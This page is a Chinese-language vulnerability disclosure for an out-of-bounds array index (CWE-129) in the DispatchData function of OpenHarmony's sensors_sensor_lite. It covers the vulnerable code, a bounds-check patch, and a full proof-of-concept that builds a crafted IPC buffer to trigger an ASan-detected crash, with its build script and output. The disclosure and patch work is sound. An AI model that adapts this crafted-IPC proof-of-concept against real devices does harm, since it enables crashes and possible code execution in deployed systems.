SubmittedCWE-129 — Improper Validation of Array Index
DispatchData 未校验 sensorTypeId 导致越界数组访问
View Upstream Issuegitcode.com/openharmony/sensors_sensor_lite/issues/28CWE:CWE-129 — Improper Validation of Array Index
Repository:sensors_sensor_lite
Date:2026-05-16
Reporter:Zirui
Affected Files
frameworks/src/sensor_agent_proxy.c:200frameworks/src/sensor_agent_proxy.c:225漏洞概述
sensors_sensor_lite 的 DispatchData() 函数将 sensorEvent->sensorTypeId 直接用作全局数组 g_callbackNodes[] 的索引,无任何边界检查。该 sensorTypeId 来源于 IPC 数据(SensorChannelCallback 从 IPC buffer 中 cast 得到的 SensorEvent 结构体),攻击者可构造任意 sensorTypeId 值触发越界读取。
同一文件中的 InsertCallbackNode() 和 DeleteCallbackNode() 均有 sensorTypeId >= SENSOR_TYPE_ID_MAX 的边界检查,但 DispatchData() 遗漏了此检查。
问题代码
文件: frameworks/src/sensor_agent_proxy.c
// Line 38 — 全局数组定义
CallbackNode g_callbackNodes[(int32_t)SENSOR_TYPE_ID_MAX] = { ... };
// Line 193-206 — DispatchData 无边界检查
void DispatchData(SensorEvent *sensorEvent)
{
if (sensorEvent == NULL) {
return;
}
int32_t sensorId = sensorEvent->sensorTypeId; // ← IPC 不可信数据
CallbackNode *node = (CallbackNode *)(g_callbackNodes[sensorId].next);
// ^^^^^^^^^^^^^^^^^^^^^^^^
// 无边界检查,sensorId 可为任意值
while (node != NULL) {
node->callback(sensorEvent);
node = (CallbackNode *)(node->next);
}
}
// Line 225-233 — SensorChannelCallback 数据来源
SensorEvent *event = (SensorEvent *)(eventData); // ← IPC ReadBuffer 直接 cast
g_sensorEvent->sensorTypeId = event->sensorTypeId; // ← 不可信
DispatchData(g_sensorEvent); // ← 传入未校验的 sensorTypeId
对比已有边界检查的函数:
// Line 60-65 — InsertCallbackNode 有检查
static int32_t InsertCallbackNode(int32_t sensorTypeId, const SensorUser *user)
{
if ((sensorTypeId >= (int32_t)SENSOR_TYPE_ID_MAX) || (sensorTypeId < 0)) {
return SENSOR_ERROR_INVALID_PARAM; // ← 正确的边界检查
}
...
}
触发条件
- 攻击者控制 Sensor Service 的 IPC 数据通道
- 构造 IPC 消息,其中
SensorEvent.sensorTypeId设置为超出SENSOR_TYPE_ID_MAX的值 SensorChannelCallback接收数据后调用DispatchData- 越界访问
g_callbackNodes[恶意值]
影响
- 越界读取全局数组后的内存(信息泄露)
- 若越界位置的
.next字段非 NULL,将跳转到攻击者可控地址执行node->callback()(代码执行) - 进程崩溃(SIGSEGV)
PoC 验证
方法: Target-Compile — 编译真实 sensor_agent_proxy.c 为 .o,test driver 通过公共 API 入口 RegisterSensorChannel 注册 IPC 回调,再通过 SAMGR_SimulatePush 模拟服务端推送触发漏洞。
编译产物:
sensor_agent_proxy.o— 真实源码编译(使用-Dstatic=暴露内部状态用于测试初始化)ohos_stubs.o— OHOS IPC/SAMGR/HiLog 框架桩(IpcIo 完整 Read/Write 序列化 + SAMGR mock + HiLog + SimulatePush)cJSON.o— cJSON 库桩memcpy_s.o— securecmemcpy_s自动桩
触发路径:
main → RegisterSensorChannel(mockProxy, 0)
→ 设置 g_objectStub.func = SensorChannelCallback
→ WriteRemoteObject 注册 IPC push callback
→ malloc 分配 g_sensorEvent
→ SAMGR_SimulatePush(&crafted_ipc) (模拟服务端 IPC 数据推送)
→ SensorChannelCallback(0, &ipc_data, NULL, option)
→ ReadUint32(len1) → ReadBuffer(len1) → cast SensorEvent*
→ 复制 sensorTypeId=0x7FFFFFFF 到 g_sensorEvent
→ DispatchData(g_sensorEvent)
→ g_callbackNodes[0x7FFFFFFF].next → SEGV (越界读取)
ASan 输出:
==74132==ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18
==74132==The signal is caused by a READ memory access.
#0 in DispatchData sensor_agent_proxy.c:201
#1 in SensorChannelCallback sensor_agent_proxy.c:233
#2 in SAMGR_SimulatePush (IPC push callback dispatch)
#3 in main poc.c:109
SUMMARY: AddressSanitizer: SEGV sensor_agent_proxy.c:201 in DispatchData
==74132==ABORTING
Patch 验证(before/after 对比):
BEFORE: ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18 in DispatchData
AFTER: [ERROR] DispatchData failed, sensorId 2147483647 out of range [0, 30)
exit=0, ASan not triggered ✓
修复建议
void DispatchData(SensorEvent *sensorEvent)
{
if (sensorEvent == NULL) {
return;
}
int32_t sensorId = sensorEvent->sensorTypeId;
+ if ((sensorId < 0) || (sensorId >= (int32_t)SENSOR_TYPE_ID_MAX)) {
+ HILOG_ERROR(HILOG_MODULE_APP, "%s invalid sensorTypeId: %d", __func__, sensorId);
+ return;
+ }
CallbackNode *node = (CallbackNode *)(g_callbackNodes[sensorId].next);
...
}
附录:PoC 源码
poc.c
/*
* Target-Compile PoC: DispatchData OOB Array Index (CWE-129)
*
* Trigger path:
* RegisterSensorChannel(mockProxy, 0)
* → sets g_objectStub.func = SensorChannelCallback
* → WriteRemoteObject registers IPC push callback
* → allocates g_sensorEvent via malloc
* SAMGR_SimulatePush(&crafted_ipc)
* → SensorChannelCallback(0, &ipc_data, NULL, option)
* → copies sensorTypeId=0x7FFFFFFF to g_sensorEvent
* → DispatchData(g_sensorEvent)
* → g_callbackNodes[0x7FFFFFFF].next → SEGV (OOB read)
*
* Build: Links against real sensor_agent_proxy.o + ohos_stubs.o
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "serializer.h"
#include "ipc_skeleton.h"
#include "iproxy_client.h"
#include "sensor_agent_type.h"
#include "sensor_agent_proxy.h"
#include "samgr_lite.h"
#include "log.h"
extern SensorEvent *g_sensorEvent;
extern int32_t RegisterSensorChannel(const void *proxy, int32_t sensorId);
static int MockInvoke(struct IClientProxy *proxy, int funcId, IpcIo *request,
void *owner, int (*notify)(void*, int, IpcIo*))
{
(void)proxy; (void)funcId; (void)request; (void)notify;
if (owner) *((int32_t*)owner) = 0;
return 0;
}
static int MockQueryInterface(void *iUnknown, int version, void **target)
{
(void)iUnknown; (void)version; (void)target;
return 0;
}
static int MockAddRef(void *iUnknown) { (void)iUnknown; return 1; }
static int MockRelease(void *iUnknown) { (void)iUnknown; return 0; }
int main(void)
{
/* Phase 1: RegisterSensorChannel — public API entry point */
g_sensorEvent = NULL;
IClientProxy mockProxy;
mockProxy.QueryInterface = (QueryInterface)MockQueryInterface;
mockProxy.AddRef = (AddRef)MockAddRef;
mockProxy.Release = (Release)MockRelease;
mockProxy.Invoke = (int (*)(struct IClientProxy*, int, IpcIo*, void*,
int (*)(void*, int, IpcIo*)))MockInvoke;
int32_t ret = RegisterSensorChannel((const void *)&mockProxy, 0);
if (ret != 0 || g_sensorEvent == NULL) {
fprintf(stderr, "[POC] Setup failed\n");
return 1;
}
/* Phase 2: Craft malicious IPC buffer
* Wire format: [u32 len1][SensorEvent bytes][u32 len2][sensor data bytes] */
uint8_t ipc_buf[256];
memset(ipc_buf, 0, sizeof(ipc_buf));
size_t off = 0;
uint32_t len1 = (uint32_t)sizeof(SensorEvent);
memcpy(ipc_buf + off, &len1, sizeof(uint32_t));
off += sizeof(uint32_t);
SensorEvent malicious;
memset(&malicious, 0, sizeof(malicious));
malicious.sensorTypeId = 0x7FFFFFFF;
memcpy(ipc_buf + off, &malicious, sizeof(SensorEvent));
off += sizeof(SensorEvent);
uint32_t len2 = 8;
memcpy(ipc_buf + off, &len2, sizeof(uint32_t));
off += sizeof(uint32_t);
uint8_t dummy[8] = {0};
memcpy(ipc_buf + off, dummy, sizeof(dummy));
off += sizeof(dummy);
IpcIo ipc_data;
IpcIoInit(&ipc_data, ipc_buf, off, 0);
/* Phase 3: Trigger via SAMGR_SimulatePush — IPC push simulation */
ret = SAMGR_SimulatePush(&ipc_data);
free(g_sensorEvent);
g_sensorEvent = NULL;
return 0;
}
Proof of Concept
build.sh62 lines · 1.9 KB
Download#!/bin/bash
# Build script for OH-2026-IPC-006 PoC (target-compile)
#
# Prerequisites:
# - OHOS toolkit stubs at <toolkit-path>/stubs/
# - Real sensor_agent_proxy.c source
# - gcc with ASan support
#
# Usage: ./build.sh <sensors_sensor_lite_path> <toolkit-stubs-path>
set -e
TARGET="${1:?Usage: $0 <sensors_sensor_lite_path> <toolkit-stubs-path>}"
STUBS="${2:?Missing toolkit-stubs-path}"
TMPDIR=$(mktemp -d /tmp/fermat_ipc006_XXXXXX)
trap "rm -rf $TMPDIR" EXIT
echo "[*] Compiling real sensor_agent_proxy.c ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
-I "$TARGET/interfaces/kits/native/include" \
-I "$TARGET/frameworks/include" \
-I "$TARGET/services/include" \
-I "$STUBS" \
"$TARGET/frameworks/src/sensor_agent_proxy.c" \
-o "$TMPDIR/sensor_agent_proxy.o"
echo "[*] Compiling stubs ..."
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
-I "$STUBS" "$STUBS/ohos_stubs.c" -o "$TMPDIR/ohos_stubs.o"
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
-I "$STUBS" "$STUBS/cJSON.c" -o "$TMPDIR/cJSON.o"
echo "[*] Compiling memcpy_s stub ..."
echo '#include <string.h>
int memcpy_s(void *d, size_t ds, const void *s, size_t n) {
if (!d || !s || n > ds) return 1;
memcpy(d, s, n); return 0;
}' | gcc -c -O0 -x c - -o "$TMPDIR/memcpy_s.o"
echo "[*] Compiling test driver ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
-I "$TARGET/interfaces/kits/native/include" \
-I "$TARGET/frameworks/include" \
-I "$TARGET/services/include" \
-I "$STUBS" \
"$(dirname "$0")/poc.c" \
-o "$TMPDIR/poc.o"
echo "[*] Linking ..."
g++ -O0 -fsanitize=address -fno-omit-frame-pointer \
-o "$TMPDIR/poc_bin" \
"$TMPDIR/sensor_agent_proxy.o" \
"$TMPDIR/cJSON.o" \
"$TMPDIR/ohos_stubs.o" \
"$TMPDIR/memcpy_s.o" \
"$TMPDIR/poc.o" \
-lpthread -lstdc++
echo "[*] Running PoC ..."
"$TMPDIR/poc_bin"
echo "[*] Done (exit=$?)"
poc.c116 lines · 4.1 KB
Download[DEBUG] RegisterSensorChannel begin
[DEBUG] IsRegisterCallback begin
[POC] RegisterSensorChannel returned: 0
[POC] g_sensorEvent at 0x504000000010, push callback registered=1
[POC] Triggering SAMGR_SimulatePush with sensorTypeId=0x7FFFFFFF
[DEBUG] SensorChannelCallback begin
[DEBUG] DispatchData begin
AddressSanitizer:DEADLYSIGNAL
=================================================================
==74132==ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18 (pc 0x605ee8c1cbc4 bp 0x7ffff0d37cc0 sp 0x7ffff0d37ca0 T0)
==74132==The signal is caused by a READ memory access.
#0 0x605ee8c1cbc4 in DispatchData sensor_agent_proxy.c:201
#1 0x605ee8c1d283 in SensorChannelCallback sensor_agent_proxy.c:233
#2 0x605ee8c2c4c8 in SAMGR_SimulatePush (IPC push callback dispatch)
#3 0x605ee8c304b3 in main poc.c:109
#4 0x749009a2a1c9 in __libc_start_call_main
#5 0x749009a2a28a in __libc_start_main_impl
SUMMARY: AddressSanitizer: SEGV sensor_agent_proxy.c:201 in DispatchData
==74132==ABORTING